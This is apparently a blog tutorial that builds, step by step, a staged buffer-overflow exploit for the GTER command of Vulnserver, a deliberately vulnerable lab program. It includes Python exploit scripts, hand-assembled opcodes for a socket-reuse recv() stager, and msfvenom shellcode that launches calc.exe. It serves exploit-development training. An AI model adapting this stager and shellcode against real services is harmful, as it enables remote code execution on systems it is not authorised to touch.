Vulnserver GTER - Staged exploitation and Socket reusing

17 minute read

Prologue

In last post, we would have exploited the GTER command using stack pivots and egg hunters to perform a staged exploit

But in this post, we will be performing a staged exploit on the same GTER command along with stack pivots and socket reusage shellcode

Stack pivoting

We would have discussed about this on our previous post

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat stack-pivot.py 
import socket, sys
payload=b""
# to overwrite buffer and EBP
payload+=b"A"*151
# to overwrite EIP with JMP ESP
payload+=b"\xaf\x11\x50\x62"
# stack pivot
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 stack-pivot.py 

And the python script used for stack pivoting will be used for this exploit too

Sockets

Windows Sockets 2 (Winsock) enables programmers to create advanced Internet, intranet, and other network-capable applications to transmit application data across the wire, independent of the network protocol being used

For more on WinSock2

For more API calls on WinSock2

Socket reusage shellcode

There are many exploitation techniques that can be performed with socket reuse stager shellcode

It depends on how the vulnerable program is using the socket

In the below diagram, we can see the socket calls between a client-server application to transfer a data between them

Here the main socket call used to transfer data are send() and recv()

We want the program to use our stager shellcode (in this scenario), so it is best to make the vulnerable program to receive the data

So for this case, we should focus on reusing our socket call with recv()

While reusing the socket recv() there are two possibilities

  • Create a new socket (Mostly it will be inefficient, because opening new socket connection on new port requires special privilege, sometimes it may even get blocked by firewall or get detected by blue team defenders)
  • Reuse the existing socket connection (The best and efficient way, minimal usage of stager shellcode)

This blog is an interesting one, where the author used different socket reuse exploit method for this command

The arguments required for recv() in socket is,

// C++
int WSAAPI recv(
  [in]  SOCKET s, //socket file descriptor
  [out] char   *buf, //buffer pointer
  [in]  int    len, //buffer size
  [in]  int    flags //flag
);

We will be crafting these arguments to make recv() call in this exploit

For detailed information on WinSock2’s recv() API call

For more information on Socket Reusage Shellcode

Analysing socket calls

Lets view the memory map of the process in our debugger

Lets analyse the .text segment which contains the code being used by the Vulnserver in diassembled instructions

Scrolling through the instructions we would find CALL <JMP.&WS2_32.getaddrinfo> and CALL <JMP.&WS2_32.WSACleanup> and similar calls related to sockets

But, we need to focus on JMP.&WS2_32.recv() since this application initializes socket to receive data into the buffer

After scrolling through lots of instrcutions,

Viewing it on our CPU window and setting breakpoint on the CALL <JMP.&WS2_32.recv> instruction to analyse it further

After setting breakpoint, lets run the stack-pivot.py to connect through the socket

We are storing the required values for socket in ESP

Lets step into the break point and make the call recv() work, so that we can see where it will be returned

This screenshot is from another runtime, above screenshot was took previous day, kindly ignore the address and value changes

Here we could see the return address, socket file descriptor, buffer pointer, buffer size and flags for the socket connection being used

These values will not be static, they will change for each call

  • 0x00401958 is the return address, which will be executed after recv() gets completed

  • 124 is the value of socket file descriptor used for this iteration

  • 0x006333d8 is the pointer address of the buffer where the input data from recv() is being stored

  • 0x1000 (4096 bytes) is the size of the buffer to store the data

  • 0 is set for flags which is default

If we execute till RET of the recv() iteration, we would reach here

It was mentioned on the top of ESP, where the control will be returned

In order to make a perfect socket reuse stager, we should place the arguments needed for the JMP.&WS2_32.recv function on the stack in the same order and call the function to use it

Crafting file descriptor

Since, the file descriptor is the first parameter of sokcet recv() it will be loaded into the registers at last so that the operations performed on ESP registers can be minimized

At last before the JMP.&WS2_32.recv call, you can see the value of the file descriptor being stored into EAX

mov eax, dword ptr ss:[ebp-420]
mov dword ptr ss:[esp], eax

Here the actual value of file descriptor is stored on ebp-420 which is being stored into eax and later being placed on top of the stack by esp

Here we can see the value stored in EAX is stored on top of ESP

While crafting our shellcode for reusing sockets, we cannot use absolute address of the socket parameters because it will change for each call

So it is best to handle it with ESP and other registers dynamically

The absolute address of ebp-420 is 0x00ecfb50 where our value for file descriptor 124 is present in it

Our value of ESP is 0x00ecf9c8

The difference in offsets between these addresses are,

>>> 0xecfb50 - 0xecf9c8
392
>>> hex(0xecfb50 - 0xecf9c8)
'0x188'

We can use this offset difference to dynamically load the value of file descriptor which will be stored on ESP+0x188, at the moment when our stage 1 payload gets hit

Lets analyse it with our python script to check the memory when our data gets received into it

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat stack-pivot.py 
import socket, sys
payload=b""
# to overwrite buffer and EBP
payload+=b"\x90"*100
payload+=b"\xcc" #placing breakpoint 
payload+=b"\x90"*50
# to overwrite EIP with JMP ESP
payload+=b"\xaf\x11\x50\x62"
# stack pivot
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 stack-pivot.py

While running this, we will be performing the jump shellcode (stage1) and we will be returned to the buffer data

Here in the memory dump, we can see the value of file descriptor on ESP+0x188

So we can access this value at the runtime of our payload

Its time to craft the opcodes to get the file descriptor value

First we need to push the stack value and we should not perform any operations on ESP which may lead us to the wrong addresses

push esp

After pushing the ESP we need that value to store in some register to perform arithmetic operations to reach ESP+0x188

pop ebx
add ebx,0x188

Generating opcodes using metasploit,

┌──(kaliaidenpearce369)-[~]
└─$ /usr/bin/msf-nasm_shell
nasm > push esp
00000000  54                push esp
nasm > pop ebx
00000000  5B                pop ebx
nasm > add ebx,0x188
00000000  81C388010000      add ebx,0x188
// To avoid null bytes add on BX
nasm > add bx,0x188
00000000  6681C38801        add bx,0x188
nasm > 

Modifying the script to test the EBX register has the address value of file descriptor,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat file-descriptor.py 
import socket, sys

file_descriptor=b""
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

payload=b""
payload+=b"\x90"*20
payload+=file_descriptor
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 file-descriptor.py

After hitting our breakpoint and scrolling up, we can see our opcode instruction and the value of EBX is same as the address of file descriptor

Stack adjustment

To craft our socket reuse stager, we need to perform many stack operations and to support that our ESP should be in an optimal address to perform it

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat file-descriptor.py 
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

file_descriptor+=b"\x54" # adding PUSH ESP
file_descriptor+=b"\x54" # adding PUSH ESP

payload=b""
payload+=b"\x90"*20
payload+=file_descriptor
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 file-descriptor.py

Adding two push esp instructions to check ESP value

Here we can see that the ESP value is decreasing for each push instruction which is not good, because at one point we will be overwriting our payload and EIP

To avoid this, lets manually decrease the ESP value for better usage

Generating opcodes for that,

nasm > sub esp, 0x70
00000000  83EC70            sub esp,byte +0x70

Lets test this now,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat esp-adjustment.py    
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

payload=b""
payload+=b"\x90"*20
payload+=file_descriptor
payload+=stack_adjustment
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 esp-adjustment.py  

After running this, we can see that our ESP is far way from the EIP and we can use this to run other operations to perform socket reusing

Our JMP.&WS2_32.recv needs values of file descriptor, buffer pointer, buffer size and flag values to work

We will push it in reverse order so that we can load it properly into JMP.&WS2_32.recv

Crafting flag argument

The default value of flag in JMP.&WS2_32.recv is 0

We will be using the same value and push it into the stack

To store 0 in EAX lets use XOR function

If we perform other operations to store 0, it may give null bytes, so it is better to uses XOR for these kind of logic

XOR (a,a) = 0

Lets generate opcodes for that,

nasm > xor eax,eax
00000000  31C0              xor eax,eax
nasm > push eax
00000000  50                push eax

Adding it into our python script,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat flag-value.py     
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

payload=b""
payload+=b"\x90"*20
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 flag-value.py     

After running this, we are able to set EAX as 0 and push it to the stack

Our first argument got pushed into stack

Crafting buffer size argument

Now, we have pushed our flag argument into stack

Next to it, we have to push the buffer size for the socket

At starting we saw that tha buffer size being used by the socket was 4096 bytes

But we will use 1024 bytes which is adequate for our final stage2 shellcode

Hex value of 1024 bytes is,

>>> hex(1024)
'0x400'

Previously we have XORed EAX so its value will be 0

Crafting opcodes for pushing buffer size into stack,

nasm > add eax,0x400
00000000  0500040000        add eax,0x400
// to avoid null bytes, adding on higher accumulator AX=AH+AL=0x4+0x00=0x400
nasm > add ah,0x4
00000000  80C404            add ah,0x4
nasm > push eax
00000000  50                push eax

Adding it to our python script,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat buffer-size.py    
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

payload=b""
payload+=b"\x90"*40
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 buffer-size.py

After running this script, we can see our buffer size 0x400 and flag value 0x0 stored in stack

We have pushed our second argument inside the stack too

Crafting buffer pointer

From Rasta’s blog, he had mentioned about two ways to store payload into a buffer and use that buffer pointer

  • Calculate an address, push it on to the stack and then retrieve it after recv returns and jmp to that address
  • Tell recv to just dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it

Here, the second method is more easier and efficient to execute our payload

When we jump to the start of the buffer after jmp esp and long jump opcodes, it is already used and served its purpose

We dont need that anymore

What we can do is point our buffer pointer address in the upcoming address of our current buffer and push it to the stack to load our payload, which will be executed with NOP sled

Lets use this address as our buffer pointer and use it to save buffer data of 1024 bytes from here

Calculating the offset between this address and ESP to push the address in stack, because it changes dynamically for each call

>>> 0xeaf9c0 - 0xeaf950
112
>>> hex(112)
'0x70'

Generating opcodes to store this address as our buffer pointer agument and push it to stack

nasm > push esp
00000000  54                push esp
nasm > pop eax
00000000  58                pop eax
nasm > add eax,0x70
00000000  83C070            add eax,byte +0x70
nasm > push eax
00000000  50                push eax

Adding it to our python script,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat buffer-pointer.py 
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

payload=b""
payload+=b"\x90"*40
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=buffer_pointer
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 buffer-pointer.py

After running this, lets test it on our debugger

We can see that we have successfully placed the buffer pointer in top of the stack

Still one more pending, we have to push the file descriptor which we framed at the start

Finalising the socket reuse stager

We have pushed our 3 arguments required for the socket JMP.&WS2_32.recv

Still we need to push the socket file descriptor value to finalise the stager

Our file descriptor value (need to be dereferenced from the pointer present in EBX) is stored in the address present in EBX

Generating opcodes to get the file descriptor value,

nasm > mov ecx,[ebx]
00000000  8B0B              mov ecx,[ebx]
nasm > push ecx
00000000  51                push ecx

This is similar to push dword ptr ds:[ebx]

Adding this to our script,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat socket-reuse-stager.py
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

get_file_descriptor=b""
get_file_descriptor+=b"\x8b\x0b"
get_file_descriptor+=b"\x51"

payload=b""
payload+=b"\x90"*40
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=buffer_pointer
payload+=get_file_descriptor
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 socket-reuse-stager.py

We can see that the JMP.&WS2_32.recv arguments are aligned perfectly as we expected

Now after framing these arguments, we need to call the JMP.&WS2_32.recv function to use this arguments

Our first CALL <JMP.&WS2_32.recv> is at 0x401953, but the function <JMP.&WS2_32.recv> is located at 0x40252c

We need to call this address to load the arguments to reuse the socket to receive data again

Generating opcodes to call this function,

// leads to null bytes
nasm > mov edx,0x40252c
00000000  BA2C254000        mov edx,0x40252c
// adding padding value 
nasm > mov edx,0x40252caa
00000000  BAAA2C2540        mov edx,0x40252caa
// performing left shift operation to remove null bytes (1 byte = 8 bits)
// 0x40252caa ---> Shift 4 bits right = 0x040252ca
// 0x040252ca ---> Shift 4 bits right = 0x0040252c
nasm > shr edx,8
00000000  C1EA08            shr edx,byte 0x8
nasm > call edx
00000000  FFD2              call edx

Adding this to our python script,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat socket-reuse-stager.py    
import socket, sys

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

get_file_descriptor=b""
get_file_descriptor+=b"\x8b\x0b"
get_file_descriptor+=b"\x51"

socket_recv=b""
socket_recv+=b"\xba\xaa\x2c\x25\x40"
socket_recv+=b"\xc1\xea\x08"
socket_recv+=b"\xff\xd2"

payload=b""
payload+=b"\x90"*40
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=buffer_pointer
payload+=get_file_descriptor
payload+=socket_recv
payload+=b"\x90"*(100-len(payload))
payload+=b"\xcc"
payload+=b"\x90"*50
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"GTER "+payload))
s.close()
sys.exit()
                                                                       
┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ python3 socket-reuse-stager.py

After running this, we could see that our call edx instruction is able to call the JMP.&WS2_32.recv function

Proceeding with step into, we can see that our arguments are loaded properly

As for now, we are able to call JMP.&WS2_32.recv along with the arguments aligned on stack perfectly

Its time to craft our second stager shellcode and use it for our exploit

Crafting shellcode

Lets generate the shellcode to pop calc.exe using msfvenom,

┌──(kaliaidenpearce369)-[~]
└─$  msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f python        
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1078 bytes
buf =  b""
buf += b"\xbd\x2d\xad\x09\x5a\xd9\xc7\xd9\x74\x24\xf4\x5f\x31"
buf += b"\xc9\xb1\x31\x31\x6f\x13\x03\x6f\x13\x83\xc7\x29\x4f"
buf += b"\xfc\xa6\xd9\x0d\xff\x56\x19\x72\x89\xb2\x28\xb2\xed"
buf += b"\xb7\x1a\x02\x65\x95\x96\xe9\x2b\x0e\x2d\x9f\xe3\x21"
buf += b"\x86\x2a\xd2\x0c\x17\x06\x26\x0e\x9b\x55\x7b\xf0\xa2"
buf += b"\x95\x8e\xf1\xe3\xc8\x63\xa3\xbc\x87\xd6\x54\xc9\xd2"
buf += b"\xea\xdf\x81\xf3\x6a\x03\x51\xf5\x5b\x92\xea\xac\x7b"
buf += b"\x14\x3f\xc5\x35\x0e\x5c\xe0\x8c\xa5\x96\x9e\x0e\x6c"
buf += b"\xe7\x5f\xbc\x51\xc8\xad\xbc\x96\xee\x4d\xcb\xee\x0d"
buf += b"\xf3\xcc\x34\x6c\x2f\x58\xaf\xd6\xa4\xfa\x0b\xe7\x69"
buf += b"\x9c\xd8\xeb\xc6\xea\x87\xef\xd9\x3f\xbc\x0b\x51\xbe"
buf += b"\x13\x9a\x21\xe5\xb7\xc7\xf2\x84\xee\xad\x55\xb8\xf1"
buf += b"\x0e\x09\x1c\x79\xa2\x5e\x2d\x20\xa8\xa1\xa3\x5e\x9e"
buf += b"\xa2\xbb\x60\x8e\xca\x8a\xeb\x41\x8c\x12\x3e\x26\x62"
buf += b"\x59\x63\x0e\xeb\x04\xf1\x13\x76\xb7\x2f\x57\x8f\x34"
buf += b"\xda\x27\x74\x24\xaf\x22\x30\xe2\x43\x5e\x29\x87\x63"
buf += b"\xcd\x4a\x82\x07\x90\xd8\x4e\xe6\x37\x59\xf4\xf6"

This will be our second stager shellcode which will be passed into the buffer of 1024 bytes requested from the socket reuse stager

Exploitation

The final exploit for the GTER command using socket reuse stager is,

┌──(kaliaidenpearce369)-[~/vulnserver/GTER]
└─$ cat exploit.py    
import socket, sys
from time import sleep

file_descriptor=b""
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

get_file_descriptor=b""
get_file_descriptor+=b"\x8b\x0b"
get_file_descriptor+=b"\x51"

socket_recv=b""
socket_recv+=b"\xba\xaa\x2c\x25\x40"
socket_recv+=b"\xc1\xea\x08"
socket_recv+=b"\xff\xd2"

buf =  b""
buf += b"\xbd\x2d\xad\x09\x5a\xd9\xc7\xd9\x74\x24\xf4\x5f\x31"
buf += b"\xc9\xb1\x31\x31\x6f\x13\x03\x6f\x13\x83\xc7\x29\x4f"
buf += b"\xfc\xa6\xd9\x0d\xff\x56\x19\x72\x89\xb2\x28\xb2\xed"
buf += b"\xb7\x1a\x02\x65\x95\x96\xe9\x2b\x0e\x2d\x9f\xe3\x21"
buf += b"\x86\x2a\xd2\x0c\x17\x06\x26\x0e\x9b\x55\x7b\xf0\xa2"
buf += b"\x95\x8e\xf1\xe3\xc8\x63\xa3\xbc\x87\xd6\x54\xc9\xd2"
buf += b"\xea\xdf\x81\xf3\x6a\x03\x51\xf5\x5b\x92\xea\xac\x7b"
buf += b"\x14\x3f\xc5\x35\x0e\x5c\xe0\x8c\xa5\x96\x9e\x0e\x6c"
buf += b"\xe7\x5f\xbc\x51\xc8\xad\xbc\x96\xee\x4d\xcb\xee\x0d"
buf += b"\xf3\xcc\x34\x6c\x2f\x58\xaf\xd6\xa4\xfa\x0b\xe7\x69"
buf += b"\x9c\xd8\xeb\xc6\xea\x87\xef\xd9\x3f\xbc\x0b\x51\xbe"
buf += b"\x13\x9a\x21\xe5\xb7\xc7\xf2\x84\xee\xad\x55\xb8\xf1"
buf += b"\x0e\x09\x1c\x79\xa2\x5e\x2d\x20\xa8\xa1\xa3\x5e\x9e"
buf += b"\xa2\xbb\x60\x8e\xca\x8a\xeb\x41\x8c\x12\x3e\x26\x62"
buf += b"\x59\x63\x0e\xeb\x04\xf1\x13\x76\xb7\x2f\x57\x8f\x34"
buf += b"\xda\x27\x74\x24\xaf\x22\x30\xe2\x43\x5e\x29\x87\x63"
buf += b"\xcd\x4a\x82\x07\x90\xd8\x4e\xe6\x37\x59\xf4\xf6"

payload=b""
payload+=b"\x90"*40
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=buffer_pointer
payload+=get_file_descriptor
payload+=socket_recv
payload+=b"\x90"*(100-len(payload))
payload+=b"\x90"*51
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"

stage1=b""
stage1+=payload

stage2=b""
stage2+=buf
stage2+=b"\x90"*(1024-len(buf))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))

print("[+] Sending STAGE 1 payload")
s.send((b"GTER "+stage1))
sleep(5)

print("[+] Sending STAGE 2 payload")
s.send(stage2)

print("[+] Exploit complete.. calc.exe popped")
s.close()
sys.exit()

After running this, we could successfully pop the calc.exe from the Vulnserver